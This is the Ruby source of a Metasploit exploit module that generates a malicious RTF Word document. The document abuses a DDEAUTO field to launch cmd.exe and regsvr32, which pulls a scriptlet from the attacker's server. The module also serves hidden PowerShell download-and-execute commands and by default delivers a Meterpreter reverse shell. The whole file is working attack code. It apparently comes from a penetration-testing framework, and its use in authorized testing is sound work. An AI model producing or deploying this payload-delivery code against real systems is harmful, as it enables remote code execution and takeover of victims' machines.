1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155
| ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##
class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FILEFORMAT include Msf::Exploit::Powershell include Msf::Exploit::EXE
def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office DDE Payload Delivery', 'Description' => %q{ This module generates an DDE command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server. }, 'Author' => 'mumbai', 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 9 2017', 'References' => [ ['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'], ['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/'] ], 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['Microsoft Office', {} ], ], 'DefaultTarget' => 0, 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'EXITFUNC' => 'thread' } )) register_options([ OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]), OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil]) ]) end
def gen_psh(url, *method) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
if method.include? 'string' download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric 8}.exe" # Set filename (Use random filename if empty) filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
# Set path (Use %TEMP% if empty) path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
# Join Path and Filename file = %Q(echo (#{path}+'\\#{filename}'))
# Generate download PowerShell command download_string = Rex::Powershell::PshMethods.download_run(url, file) end
download_and_run = "#{ignore_cert}#{download_string}"
# Generate main PowerShell command return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) end
def on_request_uri(cli, _request) if _request.raw_uri =~ /\.sct$/ print_status("Handling request for .sct from #{cli.peerhost}") payload = gen_psh("#{get_uri}", "string") data = gen_sct_file(payload) send_response(cli, data, 'Content-Type' => 'text/plain') else print_status("Delivering payload to #{cli.peerhost}...") p = regenerate_payload(cli) data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true ) send_response(cli, data, 'Content-Type' => 'application/octet-stream') end end
def rand_class_id "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" end
def gen_sct_file(command) # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error). if command == '' return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>} # If a command is provided, tell the target system to execute it. else return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>} end end
def retrieve_header(filename) if (not datastore['INJECT_PATH'].nil?) path = "#{datastore['INJECT_PATH']}" else path = nil end if (not path.nil?) if ::File.file?(path) ::File.open(path, 'rb') do |fd| header = fd.read(fd.stat.size).split('{\*\datastore').first header = header.to_s print_status("Injecting #{path}...") return header end else header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n" end else header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n" end return header end
def create_rtf # header = retrieve_header(datastore['FILENAME']) field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 ' field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}" field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n" field_class << '\insrsid5790315' + "\n" field_class << '\par }' footer = '}}' # footer rtf = header + field_class + footer rtf end
def primer file_create(create_rtf) end end
|